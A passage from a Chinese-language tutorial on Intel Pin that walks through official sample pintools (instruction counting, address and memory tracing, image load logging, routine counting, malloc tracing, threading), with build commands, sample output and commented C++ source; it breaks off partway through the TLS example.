## **_3\. 官方样例_**
本章主要是通过运行一些 Pin 内置的样例 Pintool，来实际感受一下 Pin 的插桩过程。实践出真知。
### **_1\. 构建样例工具_**
ia32 架构的样例：
$ cd source/tools/ManualExamples
$ make all TARGET=ia32
ia64 架构的样例：
$ cd source/tools/ManualExamples
$ make all TARGET=intel64
编译并运行某个样例：
$ cd source/tools/ManualExamples
$ make inscount0.test TARGET=intel64
编译某个样例但不运行：
$ cd source/tools/ManualExamples
$ make obj-intel64/inscount0.so TARGET=intel64
# $ make obj-ia32/inscount0.so TARGET=ia32
### **_2\. 简单的指令计数（指令插桩）_**
功能：统计执行过的指令的总数。
运行和查看输出：
$ ../../../pin -t obj-intel64/inscount0.so -o inscount.out -- /bin/ls
Makefile atrace.o imageload.out itrace proccount
Makefile.example imageload inscount0 itrace.o proccount.o
atrace imageload.o inscount0.o itrace.out
$ cat inscount.out
Count 422838
# 输出文件存在默认名称，可以使用-o参数指定输出文件名。
原理：在每个指令前插入对 `docount` 的调用，并将结果保存在`inscount.out`文件中。
源码 `source/tools/ManualExamples/inscount0.cpp`：
#include <iostream>
#include <fstream>
#include "pin.H"
using std::cerr;
using std::endl;
using std::ios;
using std::ofstream;
using std::string;
ofstream OutFile;
// The running count of instructions is kept here
// make it static to help the compiler optimize docount
static UINT64 icount = 0;
// 这里就是我们调用的桩代码
VOID docount() { icount++; }
// Pin calls this function every time a new instruction is encountered
// 遇到一条新指令，调用一次该函数
VOID Instruction(INS ins, VOID* v)
{
// Insert a call to docount before every instruction, no arguments are passed
// 指定调用的桩代码函数，执行插入操作，没有对桩代码函数进行传参
INS_InsertCall(ins, IPOINT_BEFORE, (AFUNPTR)docount, IARG_END);
}
// 处理输出文件，默认文件名为“inscount.out”
KNOB< string > KnobOutputFile(KNOB_MODE_WRITEONCE, "pintool", "o", "inscount.out", "specify output file name");
// This function is called when the application exits
VOID Fini(INT32 code, VOID* v)
{
// Write to a file since cout and cerr maybe closed by the application
// 将输出保存到文件*
OutFile.setf(ios::showbase);
OutFile << "Count " << icount << endl;
OutFile.close();
}
/* ===================================================================== */
/* Print Help Message */
/* ===================================================================== */
INT32 Usage()
{
cerr << "This tool counts the number of dynamic instructions executed" << endl;
cerr << endl << KNOB_BASE::StringKnobSummary() << endl;
return -1;
}
/* ===================================================================== */
/* Main */
/* ===================================================================== */
/* argc, argv are the entire command line: pin -t <toolname> -- ... */
/* ===================================================================== */
int main(int argc, char* argv[])
{
// Initialize pin 初始化
if (PIN_Init(argc, argv)) return Usage();
OutFile.open(KnobOutputFile.Value().c_str());
// Register Instruction to be called to instrument instructions
// 注册插桩函数
INS_AddInstrumentFunction(Instruction, 0);
// Register Fini to be called when the application exits
// 注册程序退出时的处理函数
PIN_AddFiniFunction(Fini, 0);
// Start the program, never returns
// 开始执行
PIN_StartProgram();
return 0;
}
### **_3\. 指令地址跟踪（指令插桩）_**
功能：打印执行的指令的地址
运行和查看输出：
$ ../../../pin -t obj-intel64/itrace.so -- /bin/ls
Makefile atrace.o imageload.out itrace proccount
Makefile.example imageload inscount0 itrace.o proccount.o
atrace imageload.o inscount0.o itrace.out
$ head itrace.out
0x40001e90
0x40001e91
0x40001ee4
0x40001ee5
0x40001ee7
0x40001ee8
0x40001ee9
0x40001eea
0x40001ef0
0x40001ee0
$
原理：在调用分析程序时，Pin
允许传递指令指针、寄存器当前值、内存操作的有效地址、常量等数据给分析程序。完整的可传递的参数的类型如下：[IARG_TYPE](https://software.intel.com/sites/landingpage/pintool/docs/98437/Pin/html/group__INST__ARGS.html#ga089c27ca15e9ff139dd3a3f8a6f8451d)。将指令计数程序中的参数更改为
`INS_InsertCall`来传递即将执行的指令的地址，将`docount`更改为`printip`来打印指令的地址，最后将输出写入到文件`itrace.out`
中。
源码`source/tools/ManualExamples/itrace.cpp`:
#include <stdio.h>
#include "pin.H"
FILE* trace;
// 在每条指令执行前都会被调用，打印出当前指令的地址
VOID printip(VOID* ip) { fprintf(trace, "%p\n", ip); }
// 遇到一条新指令调用一次
VOID Instruction(INS ins, VOID* v)
{
// 在每条指令前插入对 printip 函数的调用，并传递 ip 参数
INS_InsertCall(ins, IPOINT_BEFORE, (AFUNPTR)printip, IARG_INST_PTR, IARG_END);
}
// 结束函数
VOID Fini(INT32 code, VOID* v)
{
fprintf(trace, "#eof\n");
fclose(trace);
}
/* ===================================================================== */
/* Print Help Message */
/* ===================================================================== */
INT32 Usage()
{
PIN_ERROR("This Pintool prints the IPs of every instruction executed\n" + KNOB_BASE::StringKnobSummary() + "\n");
return -1;
}
/* ===================================================================== */
/* Main */
/* ===================================================================== */
int main(int argc, char* argv[])
{
trace = fopen("itrace.out", "w");
// 初始化
if (PIN_Init(argc, argv)) return Usage();
// 桩指令注册
INS_AddInstrumentFunction(Instruction, 0);
// 结束逻辑注册
PIN_AddFiniFunction(Fini, 0);
// 开始执行，不返回
PIN_StartProgram();
return 0;
}
### **_4\. 内存调用跟踪（指令插桩）_**
功能：内存引用追踪（只对读写内存的指令插桩）
运行和查看输出：
$ ../../../pin -t obj-intel64/pinatrace.so -- /bin/ls
Makefile atrace.o imageload.o inscount0.o itrace.out
Makefile.example atrace.out imageload.out itrace proccount
atrace imageload inscount0 itrace.o proccount.o
$ head pinatrace.out
0x40001ee0: R 0xbfffe798
0x40001efd: W 0xbfffe7d4
0x40001f09: W 0xbfffe7d8
0x40001f20: W 0xbfffe864
0x40001f20: W 0xbfffe868
0x40001f20: W 0xbfffe86c
0x40001f20: W 0xbfffe870
0x40001f20: W 0xbfffe874
0x40001f20: W 0xbfffe878
0x40001f20: W 0xbfffe87c
$
原理：Pin 中包含可以对指令进行分类和检查功能的 API，通过调用该 API 可以实现对某一类功能的函数的追踪。
源码`source/tools/ManualExamples/itrace.cpp`：
/*
* This file contains an ISA-portable PIN tool for tracing memory accesses.*
*/
#include <stdio.h>
#include "pin.H"
FILE* trace;
// 打印地址读的指令的地址
VOID RecordMemRead(VOID* ip, VOID* addr) { fprintf(trace, "%p: R %p\n", ip, addr); }
// 打印地址写的指令的地址
VOID RecordMemWrite(VOID* ip, VOID* addr) { fprintf(trace, "%p: W %p\n", ip, addr); }
// 使用谓词函数调用来检测内存访问
// 每个读和写的指令都会调用
VOID Instruction(INS ins, VOID* v)
{
// 获取指令中的内存操作数计数
UINT32 memOperands = INS_MemoryOperandCount(ins);
// 遍历指令中的每个内存操作数
for (UINT32 memOp = 0; memOp < memOperands; memOp++)
{
// 如果是内存读
if (INS_MemoryOperandIsRead(ins, memOp))
{
INS_InsertPredicatedCall(ins, IPOINT_BEFORE, (AFUNPTR)RecordMemRead, IARG_INST_PTR, IARG_MEMORYOP_EA, memOp,
IARG_END);
}
// 在某些架构下，内存操作数可以同时用作读和写，例如 IA-32 的 %eax，这种情况下只记录一次*
// 如果是写
if (INS_MemoryOperandIsWritten(ins, memOp))
{
INS_InsertPredicatedCall(ins, IPOINT_BEFORE, (AFUNPTR)RecordMemWrite, IARG_INST_PTR, IARG_MEMORYOP_EA, memOp,
IARG_END);
}
}
}
VOID Fini(INT32 code, VOID* v)
{
fprintf(trace, "#eof\n");
fclose(trace);
}
/* ===================================================================== */
/* Print Help Message */
/* ===================================================================== */
INT32 Usage()
{
PIN_ERROR("This Pintool prints a trace of memory addresses\n" + KNOB_BASE::StringKnobSummary() + "\n");
return -1;
}
/* ===================================================================== */
/* Main */
/* ===================================================================== */
int main(int argc, char* argv[])
{
if (PIN_Init(argc, argv)) return Usage();
trace = fopen("pinatrace.out", "w");
// 注册桩函数
INS_AddInstrumentFunction(Instruction, 0);
// 注册结束函数
PIN_AddFiniFunction(Fini, 0);
// 开始，不返回
PIN_StartProgram();
return 0;
}
### **_5\. 检测image的加载和卸载（image插桩）_**
功能：在 image 加载和卸载时打印信息到 trace 文件中。
执行和查看输出:
$ ../../../pin -t obj-intel64/imageload.so -- /bin/ls
Makefile atrace.o imageload.o inscount0.o proccount
Makefile.example atrace.out imageload.out itrace proccount.o
atrace imageload inscount0 itrace.o trace.out
$ cat imageload.out
Loading /bin/ls
Loading /lib/ld-linux.so.2
Loading /lib/libtermcap.so.2
Loading /lib/i686/libc.so.6
Unloading /bin/ls
Unloading /lib/ld-linux.so.2
Unloading /lib/libtermcap.so.2
Unloading /lib/i686/libc.so.6
$
原理：本质上没有对 image 文件进行插桩。
源码`source/tools/ManualExamples/imageload.cpp`：
//
// This tool prints a trace of image load and unload events
//
#include "pin.H"
#include <iostream>
#include <fstream>
#include <stdlib.h>
using std::endl;
using std::ofstream;
using std::string;
KNOB< string > KnobOutputFile(KNOB_MODE_WRITEONCE, "pintool", "o", "imageload.out", "specify file name");
ofstream TraceFile;
// Pin 在 image 加载时调用该函数，在该例中没有进行插桩
VOID ImageLoad(IMG img, VOID* v) { TraceFile << "Loading " << IMG_Name(img) << ", Image id = " << IMG_Id(img) << endl; }
// Pin 在 image 卸载时调用该函数，对于将要卸载的image无法进行插桩
VOID ImageUnload(IMG img, VOID* v) { TraceFile << "Unloading " << IMG_Name(img) << endl; }
// This function is called when the application exits
// It closes the output file.
VOID Fini(INT32 code, VOID* v)
{
if (TraceFile.is_open())
{
TraceFile.close();
}
}
/* ===================================================================== */
/* Print Help Message */
/* ===================================================================== */
INT32 Usage()
{
PIN_ERROR("This tool prints a log of image load and unload events\n" + KNOB_BASE::StringKnobSummary() + "\n");
return -1;
}
/* ===================================================================== */
/* Main */
/* ===================================================================== */
int main(int argc, char* argv[])
{
// 符号初始化
PIN_InitSymbols();
// pin 初始化
if (PIN_Init(argc, argv)) return Usage();
TraceFile.open(KnobOutputFile.Value().c_str());
// 注册加载桩函数
IMG_AddInstrumentFunction(ImageLoad, 0);
// 注册卸载桩函数
IMG_AddUnloadFunction(ImageUnload, 0);
// 注册退出函数
PIN_AddFiniFunction(Fini, 0);
// 开始执行，无返回
PIN_StartProgram();
return 0;
}
### **_6\. 进阶版指令计数（trace 插桩）_**
功能：计算 BBL （单入口单出口）数量
执行和查看输出：
$ ../../../pin -t obj-intel64/inscount1.so -o inscount.out -- /bin/ls
Makefile atrace.o imageload.out itrace proccount
Makefile.example imageload inscount0 itrace.o proccount.o
atrace imageload.o inscount0.o itrace.out
$ cat inscount.out
Count 707208
原理：在每个 BBL 进行插桩来替代在每个指令进行插桩，在进行计数时，以 bbl 为单位，每次增加每个 bbl 中的指令数量。
源码 `source/tools/ManualExamples/inscount1.cpp`：
#include <iostream>
#include <fstream>
#include "pin.H"
using std::cerr;
using std::endl;
using std::ios;
using std::ofstream;
using std::string;
ofstream OutFile;
// 保存指令的运行次数，设置为静态变量以帮助编译器优化 docount
static UINT64 icount = 0;
// 在每个 block 前都会被调用
VOID docount(UINT32 c) { icount += c; }
// Pin 在遇到一个新的block 时进行调用，插入对 docount 函数的调用
VOID Trace(TRACE trace, VOID* v)
{
// 访问 trace 中的每个 bbl
for (BBL bbl = TRACE_BblHead(trace); BBL_Valid(bbl); bbl = BBL_Next(bbl))
{
// 在每个 bbl 前插入对 docount 函数的调用，传入指令数量
BBL_InsertCall(bbl, IPOINT_BEFORE, (AFUNPTR)docount, IARG_UINT32, BBL_NumIns(bbl), IARG_END);
}
}
KNOB< string > KnobOutputFile(KNOB_MODE_WRITEONCE, "pintool", "o", "inscount.out", "specify output file name");
// 退出函数
VOID Fini(INT32 code, VOID* v)
{
// 写入到文件中，程序可能会关闭 cout 和 cerr
OutFile.setf(ios::showbase);
OutFile << "Count " << icount << endl;
OutFile.close();
}
/* ===================================================================== */
/* Print Help Message */
/* ===================================================================== */
INT32 Usage()
{
cerr << "This tool counts the number of dynamic instructions executed" << endl;
cerr << endl << KNOB_BASE::StringKnobSummary() << endl;
return -1;
}
/* ===================================================================== */
/* Main */
/* ===================================================================== */
int main(int argc, char* argv[])
{
// 初始化 pin
if (PIN_Init(argc, argv)) return Usage();
OutFile.open(KnobOutputFile.Value().c_str());
// 注册插桩函数
TRACE_AddInstrumentFunction(Trace, 0);
// 注册退出函数
PIN_AddFiniFunction(Fini, 0);
// 开始执行，不返回
PIN_StartProgram();
return 0;
}
### **_7\. Procedure 指令计数（routine插桩）_**
功能：计算一个 procedure 被调用的次数，以及每个 procedure 中执行的命令总数。
执行和检查输出：
$ ../../../pin -t obj-intel64/proccount.so -- /bin/grep proccount.cpp Makefile
proccount_SOURCES = proccount.cpp
$ head proccount.out
Procedure Image Address Calls Instructions
_fini libc.so.6 0x40144d00 1 21
__deregister_frame_info libc.so.6 0x40143f60 2 70
__register_frame_info libc.so.6 0x40143df0 2 62
fde_merge libc.so.6 0x40143870 0 8
__init_misc libc.so.6 0x40115824 1 85
__getclktck libc.so.6 0x401157f4 0 2
munmap libc.so.6 0x40112ca0 1 9
mmap libc.so.6 0x40112bb0 1 23
getpagesize libc.so.6 0x4010f934 2 26
$
源码 `source/tools/ManualExamples/proccount.cpp`：
//
// This tool counts the number of times a routine is executed and
// the number of instructions executed in a routine
//
#include <fstream>
#include <iomanip>
#include <iostream>
#include <string.h>
#include "pin.H"
using std::cerr;
using std::dec;
using std::endl;
using std::hex;
using std::ofstream;
using std::setw;
using std::string;
ofstream outFile;
// 保存 procedure 的指令数
typedef struct RtnCount
{
string _name;
string _image;
ADDRINT _address;
RTN _rtn;
UINT64 _rtnCount;
UINT64 _icount;
struct RtnCount* _next;
} RTN_COUNT;
// 每个 procedure 的指令数的链表
RTN_COUNT* RtnList = 0;
// 每条指令执行前调用
VOID docount(UINT64* counter) { (*counter)++; }
const char* StripPath(const char* path)
{
const char* file = strrchr(path, '/');
if (file)
return file + 1;
else
return path;
}
// Pin 在一个新的 rtn 执行时调用该函数
VOID Routine(RTN rtn, VOID* v)
{
// 对该routine设置一个计数器
RTN_COUNT* rc = new RTN_COUNT;
// image unloaded 时， RTN 数据消失，所以在此处直接保存，后续 fini 中还要使用
rc->_name = RTN_Name(rtn);
rc->_image = StripPath(IMG_Name(SEC_Img(RTN_Sec(rtn))).c_str());
rc->_address = RTN_Address(rtn);
rc->_icount = 0;
rc->_rtnCount = 0;
// 添加到routines列表
rc->_next = RtnList;
RtnList = rc;
RTN_Open(rtn);
// 在routine入口处插入一个call，增加call计数
RTN_InsertCall(rtn, IPOINT_BEFORE, (AFUNPTR)docount, IARG_PTR, &(rc->_rtnCount), IARG_END);
// 对于routine中的每条指令
for (INS ins = RTN_InsHead(rtn); INS_Valid(ins); ins = INS_Next(ins))
{
// 插入对docount函数的调用，增加该rtn中的指令计数
INS_InsertCall(ins, IPOINT_BEFORE, (AFUNPTR)docount, IARG_PTR, &(rc->_icount), IARG_END);
}
RTN_Close(rtn);
}
// 退出函数，打印每个procedure的名字和计数
VOID Fini(INT32 code, VOID* v)
{
outFile << setw(23) << "Procedure"
<< " " << setw(15) << "Image"
<< " " << setw(18) << "Address"
<< " " << setw(12) << "Calls"
<< " " << setw(12) << "Instructions" << endl;
for (RTN_COUNT* rc = RtnList; rc; rc = rc->_next)
{
if (rc->_icount > 0)
outFile << setw(23) << rc->_name << " " << setw(15) << rc->_image << " " << setw(18) << hex << rc->_address << dec
<< " " << setw(12) << rc->_rtnCount << " " << setw(12) << rc->_icount << endl;
}
}
/* ===================================================================== */
/* Print Help Message */
/* ===================================================================== */
INT32 Usage()
{
cerr << "This Pintool counts the number of times a routine is executed" << endl;
cerr << "and the number of instructions executed in a routine" << endl;
cerr << endl << KNOB_BASE::StringKnobSummary() << endl;
return -1;
}
/* ===================================================================== */
/* Main */
/* ===================================================================== */
int main(int argc, char* argv[])
{
PIN_InitSymbols();
outFile.open("proccount.out");
if (PIN_Init(argc, argv)) return Usage();
// 注册桩函数
RTN_AddInstrumentFunction(Routine, 0);
// 注册程序退出时的 fini函数
PIN_AddFiniFunction(Fini, 0);
// 开始执行，不返回
PIN_StartProgram();
return 0;
}
**_下面是一些Pin的功能性特征说明样例。_**
### **_8\. PIN_SafeCopy() API_**
功能：从源内存区域复制指定数量的字节数到目的内存区域。即使源或目的区域不可访问，此函数也可保证安全返回给caller。此外，该API还可以读写程序的内存数据。
执行和查看输出：
$ ../../../pin -t obj-ia32/safecopy.so -- /bin/cp makefile obj-ia32/safecopy.so.makefile.copy
$ head safecopy.out
Emulate loading from addr 0xbff0057c to ebx
Emulate loading from addr 0x64ffd4 to eax
Emulate loading from addr 0xbff00598 to esi
Emulate loading from addr 0x6501c8 to edi
Emulate loading from addr 0x64ff14 to edx
Emulate loading from addr 0x64ff1c to edx
Emulate loading from addr 0x64ff24 to edx
Emulate loading from addr 0x64ff2c to edx
Emulate loading from addr 0x64ff34 to edx
Emulate loading from addr 0x64ff3c to edx
源码`source/tools/ManualExamples/safecopy.cpp`:
\#include <stdio.h>
\#include "pin.H"
\#include <iostream>
\#include <fstream>
using std::cerr;
using std::endl;
std::ofstream* out = 0;
//=======================================================
// Analysis routines
//=======================================================
// 从内存转移到寄存器中
ADDRINT DoLoad(REG reg, ADDRINT* addr)
{
*out << "Emulate loading from addr " << addr << " to " << REG_StringShort(reg) << endl;
ADDRINT value;
PIN_SafeCopy(&value, addr, **sizeof**(ADDRINT));
return value;
}
//=======================================================
// Instrumentation routines
//=======================================================
VOID EmulateLoad(INS ins, VOID* v)
{
// Find the instructions that move a value from memory to a register
if (INS_Opcode(ins) == XED_ICLASS_MOV && INS_IsMemoryRead(ins) && INS_OperandIsReg(ins, 0) && INS_OperandIsMemory(ins, 1))
{
// op0 <- \*op1
INS_InsertCall(ins, IPOINT_BEFORE, AFUNPTR(DoLoad), IARG_UINT32, REG(INS_OperandReg(ins, 0)), IARG_MEMORYREAD_EA,IARG_RETURN_REGS, INS_OperandReg(ins, 0), IARG_END);
// Delete the instruction
INS_Delete(ins);
}
}
/* ===================================================================== */
/* Print Help Message */
/* ===================================================================== */
INT32 Usage()
{
cerr << "This tool demonstrates the use of SafeCopy" << endl;
cerr << endl << KNOB_BASE::StringKnobSummary() << endl;
return -1;
}
/* ===================================================================== */
/* Main */
/* ===================================================================== */
int main(int argc, char* argv[])
{
// Write to a file since cout and cerr maybe closed by the application
out = new std::ofstream("safecopy.out");
// 初始化Pin，初始化符号
if (PIN_Init(argc, argv)) return Usage();
PIN_InitSymbols();
// 注册EmulateLoad函数以进行插桩
INS_AddInstrumentFunction(EmulateLoad, 0);
// 开始执行，不返回
PIN_StartProgram();
return 0;
}
### **_9\. 插桩顺序_**
Pin提供了多种方式来控制analysis call的执行顺序，主要取决于insertion action(IPOINT)和call
order(CALL_ORDER)。
执行和查看输出：
$ ../../../pin -t obj-ia32/invocation.so -- obj-ia32/little_malloc
$ head invocation.out
After: IP = 0x64bc5e
Before: IP = 0x64bc5e
Taken: IP = 0x63a12e
After: IP = 0x64bc5e
Before: IP = 0x64bc5e
Taken: IP = 0x641c76
After: IP = 0x641ca6
After: IP = 0x64bc5e
Before: IP = 0x64bc5e
Taken: IP = 0x648b02
源码`source/tools/ManualExamples/invocation.cpp`：
#include "pin.H"
#include <iostream>
#include <fstream>
using std::cerr;
using std::dec;
using std::endl;
using std::hex;
using std::ios;
using std::ofstream;
using std::string;
KNOB< string > KnobOutputFile(KNOB_MODE_WRITEONCE, "pintool", "o", "invocation.out", "specify output file name");
ofstream OutFile;
/*
* Analysis routines
*/
VOID Taken(const CONTEXT* ctxt)
{
ADDRINT TakenIP = (ADDRINT)PIN_GetContextReg(ctxt, REG_INST_PTR);
OutFile << "Taken: IP = " << hex << TakenIP << dec << endl;
}
VOID Before(CONTEXT* ctxt)
{
ADDRINT BeforeIP = (ADDRINT)PIN_GetContextReg(ctxt, REG_INST_PTR);
OutFile << "Before: IP = " << hex << BeforeIP << dec << endl;
}
VOID After(CONTEXT* ctxt)
{
ADDRINT AfterIP = (ADDRINT)PIN_GetContextReg(ctxt, REG_INST_PTR);
OutFile << "After: IP = " << hex << AfterIP << dec << endl;
}
/*
* Instrumentation routines
*/
VOID ImageLoad(IMG img, VOID* v)
{
for (SEC sec = IMG_SecHead(img); SEC_Valid(sec); sec = SEC_Next(sec))
{
// RTN_InsertCall()和INS_InsertCall()谁先出现谁先执行
// 在下面的代码中，IPOINT_AFTER在IPOINT_BEFORE之前执行。
for (RTN rtn = SEC_RtnHead(sec); RTN_Valid(rtn); rtn = RTN_Next(rtn))
{
// 打开RTN.
RTN_Open(rtn);
// IPOINT_AFTER通过在一个routine中对每个return指令插桩实现。
// Pin会尝试查找所有的return指令，成不成功则是另外一回事（有点可爱23333）。
RTN_InsertCall(rtn, IPOINT_AFTER, (AFUNPTR)After, IARG_CONTEXT, IARG_END);
// 检查routine中的每条指令
for (INS ins = RTN_InsHead(rtn); INS_Valid(ins); ins = INS_Next(ins))
{
if (INS_IsRet(ins))
{
// 插桩每条return指令
// IPOINT_TAKEN_BRANCH总是最后使用
INS_InsertCall(ins, IPOINT_BEFORE, (AFUNPTR)Before, IARG_CONTEXT, IARG_END);
INS_InsertCall(ins, IPOINT_TAKEN_BRANCH, (AFUNPTR)Taken, IARG_CONTEXT, IARG_END);
}
}
// 关闭RTN.
RTN_Close(rtn);
}
}
}
VOID Fini(INT32 code, VOID* v) { OutFile.close(); }
/* ===================================================================== */
/* Print Help Message */
/* ===================================================================== */
INT32 Usage()
{
cerr << "This is the invocation pintool" << endl;
cerr << endl << KNOB_BASE::StringKnobSummary() << endl;
return -1;
}
/* ===================================================================== */
/* Main */
/* ===================================================================== */
int main(int argc, char* argv[])
{
// 初始化
if (PIN_Init(argc, argv)) return Usage();
PIN_InitSymbols();
// 注册ImageLoad函数
IMG_AddInstrumentFunction(ImageLoad, 0);
PIN_AddFiniFunction(Fini, 0);
// 写入到文件
OutFile.open(KnobOutputFile.Value().c_str());
OutFile.setf(ios::showbase);
// 开始执行，无返回
PIN_StartProgram();
return 0;
}
### **_10\. 查看函数参数值_**
功能：使用RTN_InsertCall()查看函数参数
执行和查看输出：
$ ../../../pin -t obj-intel64/malloctrace.so -- /bin/cp makefile obj-intel64/malloctrace.so.makefile.copy
$ cat malloctrace.out
malloc(0x5a1)
returns 0x7f87d8ce2190
malloc(0x4a1)
returns 0x7f87d8ce2740
malloc(0x10)
returns 0x7f87d8ce2bf0
malloc(0x9d)
returns 0x7f87d8ce2c00
malloc(0x28)
returns 0x7f87d8ce2ca0
malloc(0x140)
returns 0x7f87d8ce2cd0
malloc(0x26)
returns 0x7f87d8ce2e10
free(0)
malloc(0x4b0)
returns 0x7f87c4428000
malloc(0x26)
returns 0x7f87c44284b0
malloc(0x22)
returns 0x7f87c44284e0
free(0)
... ...
源码`source/tools/ManualExamples/malloctrace.cpp`:
#include "pin.H"
#include <iostream>
#include <fstream>
using std::cerr;
using std::endl;
using std::hex;
using std::ios;
using std::string;
/* ===================================================================== */
/* Names of malloc and free */
/* ===================================================================== */
#if defined(TARGET_MAC)
#define MALLOC "_malloc"
#define FREE "_free"
#else
#define MALLOC "malloc"
#define FREE "free"
#endif
/* ===================================================================== */
/* Global Variables */
/* ===================================================================== */
std::ofstream TraceFile;
/* ===================================================================== */
/* Commandline Switches */
/* ===================================================================== */
KNOB< string > KnobOutputFile(KNOB_MODE_WRITEONCE, "pintool", "o", "malloctrace.out", "specify trace file name");
/* ===================================================================== */
/* ===================================================================== */
/* Analysis routines */
/* ===================================================================== */
VOID Arg1Before(CHAR* name, ADDRINT size) { TraceFile << name << "(" << size << ")" << endl; }
VOID MallocAfter(ADDRINT ret) { TraceFile << " returns " << ret << endl; }
/* ===================================================================== */
/* Instrumentation routines */
/* ===================================================================== */
VOID Image(IMG img, VOID* v)
{
// 对malloc和free函数进行插桩，打印出每个malloc或free函数的输入参数以及malloc的返回值
// 首先，查找malloc函数
RTN mallocRtn = RTN_FindByName(img, MALLOC);
if (RTN_Valid(mallocRtn))
{
RTN_Open(mallocRtn);
// 对查找到的malloc()函数进行插桩打印其参数
RTN_InsertCall(mallocRtn, IPOINT_BEFORE, (AFUNPTR)Arg1Before, IARG_ADDRINT, MALLOC, IARG_FUNCARG_ENTRYPOINT_VALUE, 0,IARG_END);
// 打印返回值
RTN_InsertCall(mallocRtn, IPOINT_AFTER, (AFUNPTR)MallocAfter, IARG_FUNCRET_EXITPOINT_VALUE, IARG_END);
RTN_Close(mallocRtn);
}
// 查找free()
RTN freeRtn = RTN_FindByName(img, FREE);
if (RTN_Valid(freeRtn))
{
RTN_Open(freeRtn);
// 插桩，打印输入参数
RTN_InsertCall(freeRtn, IPOINT_BEFORE, (AFUNPTR)Arg1Before, IARG_ADDRINT, FREE, IARG_FUNCARG_ENTRYPOINT_VALUE, 0,
IARG_END);
RTN_Close(freeRtn);
}
}
VOID Fini(INT32 code, VOID* v) { TraceFile.close(); }
/* Print Help Message */
INT32 Usage()
{
cerr << "This tool produces a trace of calls to malloc." << endl;
cerr << endl << KNOB_BASE::StringKnobSummary() << endl;
return -1;
}
/* ===================================================================== */
/* Main */
/* ===================================================================== */
int main(int argc, char* argv[])
{
// 初始化
PIN_InitSymbols();
if (PIN_Init(argc, argv))
{
return Usage();
}
// 写入到文件
TraceFile.open(KnobOutputFile.Value().c_str());
TraceFile << hex;
TraceFile.setf(ios::showbase);
// 注册Image函数
IMG_AddInstrumentFunction(Image, 0);
PIN_AddFiniFunction(Fini, 0);
// 开始执行，不返回
PIN_StartProgram();
return 0;
}
### **_11\. 插桩线程应用_**
功能：在应用开启了线程环境下进行插桩，使用的callback为ThreadStart()和ThreadFini()。在使用时，为了防止与其他分析routine发生共享资源竞争的问题，可以使用PIN_GetLock()函数进行加锁处理。
执行和查看输出：
$ ../../../pin -t obj-ia32/malloc_mt.so -- obj-ia32/thread_lin
$ head malloc_mt.out
thread begin 0
thread 0 entered malloc(24d)
thread 0 entered malloc(57)
thread 0 entered malloc(c)
thread 0 entered malloc(3c0)
thread 0 entered malloc(c)
thread 0 entered malloc(58)
thread 0 entered malloc(56)
thread 0 entered malloc(19)
thread 0 entered malloc(25c)
源码`source/tools/ManualExamples/malloc_mt.cpp`：
#include <stdio.h>
#include "pin.H"
using std::string;
KNOB< string > KnobOutputFile(KNOB_MODE_WRITEONCE, "pintool", "o", "malloc_mt.out", "specify output file name");
//==============================================================
// Analysis Routines
//==============================================================
// Note: threadid+1 作为PIN_GetLock()的参数使用，它的值也就是lock的值，所以不能为0
// lock会序列化对输出文件的访问。
FILE* out;
PIN_LOCK pinLock;
// 每次创建线程，该routine都会被调用执行。
VOID ThreadStart(THREADID threadid, CONTEXT* ctxt, INT32 flags, VOID* v)
{
PIN_GetLock(&pinLock, threadid + 1); // 加锁
fprintf(out, "thread begin %d\n", threadid);
fflush(out);
PIN_ReleaseLock(&pinLock); // 解锁
}
// 每次销毁线程，该routine都会被调用执行
VOID ThreadFini(THREADID threadid, const CONTEXT* ctxt, INT32 code, VOID* v)
{
PIN_GetLock(&pinLock, threadid + 1);
fprintf(out, "thread end %d code %d\n", threadid, code);
fflush(out);
PIN_ReleaseLock(&pinLock);
}
// 每次调用malloc函数，该routine都会被调用执行
VOID BeforeMalloc(int size, THREADID threadid)
{
PIN_GetLock(&pinLock, threadid + 1);
fprintf(out, "thread %d entered malloc(%d)\n", threadid, size);
fflush(out);
PIN_ReleaseLock(&pinLock);
}
//====================================================================
// Instrumentation Routines
//====================================================================
// 对每个image都执行
VOID ImageLoad(IMG img, VOID*)
{
RTN rtn = RTN_FindByName(img, "malloc");
if (RTN_Valid(rtn))
{
RTN_Open(rtn);
RTN_InsertCall(rtn, IPOINT_BEFORE, AFUNPTR(BeforeMalloc), IARG_FUNCARG_ENTRYPOINT_VALUE, 0, IARG_THREAD_ID, IARG_END);
RTN_Close(rtn);
}
}
// 在结束时执行一次
VOID Fini(INT32 code, VOID* v) { fclose(out); }
/* ===================================================================== */
/* Print Help Message */
/* ===================================================================== */
INT32 Usage()
{
PIN_ERROR("This Pintool prints a trace of malloc calls in the guest application\n" + KNOB_BASE::StringKnobSummary() + "\n");
return -1;
}
/* ===================================================================== */
/* Main */
/* ===================================================================== */
int main(INT32 argc, CHAR** argv)
{
// 初始化pin的lock
PIN_InitLock(&pinLock);
// 初始化pin
if (PIN_Init(argc, argv)) return Usage();
PIN_InitSymbols();
out = fopen(KnobOutputFile.Value().c_str(), "w");
// 注册ImageLoad函数
IMG_AddInstrumentFunction(ImageLoad, 0);
// 注册线程创建或结束时的分析routine
PIN_AddThreadStartFunction(ThreadStart, 0);
PIN_AddThreadFiniFunction(ThreadFini, 0);
// 注册程序退出时的fini函数
PIN_AddFiniFunction(Fini, 0);
// 开始执行，不返回
PIN_StartProgram();
return 0;
}
### **_12\. 使用TLS(Thread Local Storage)_**
功能：可以使工具创建线程特定的数据
执行和查看输出：
$ ../../../pin -t obj-ia32/inscount_tls.so -- obj-ia32/thread_lin
$ head
Count[0]= 237993
Count[1]= 213296
Count[2]= 209223
Count[3]= 209223
Count[4]= 209223
Count[5]= 209223
Count[6]= 209223
Count[7]= 209223
Count[8]= 209223
Count[9]= 209223
源码`source/tools/ManualExamples/inscount_tls.cpp`：
#include <iostream>
#include <fstream>
#include "pin.H"
using std::cerr;
using std::cout;
using std::endl;
using std::ostream;
using std::string;
KNOB< string > KnobOutputFile(KNOB_MODE_WRITEONCE, "pintool", "o", "", "specify output file name");
INT32 numThreads = 0;
ostream* OutFile = NULL;
// 强制每个线程的数据存储在自己的数据缓存行中，确保多线程不会发生同一数据缓存行的竞争问题。
// 避免错误共享的问题。
#define PADSIZE 56 // 64 byte line size: 64-8
// 运行的指令计数
class thread_data_t
{
public:
thread_data_t() : _count(0) {}
UINT64 _count;
UINT8 _pad[PADSIZE];
};
// 存储在线程中的访问TLS的key，只在main函数中初始化一次
static TLS_KEY tls_key = INVALID_TLS_KEY;
// 该函数在每个block前调用
VOID PIN_FAST_ANALYSIS_CALL docount(UINT32 c, THREADID threadid)
{
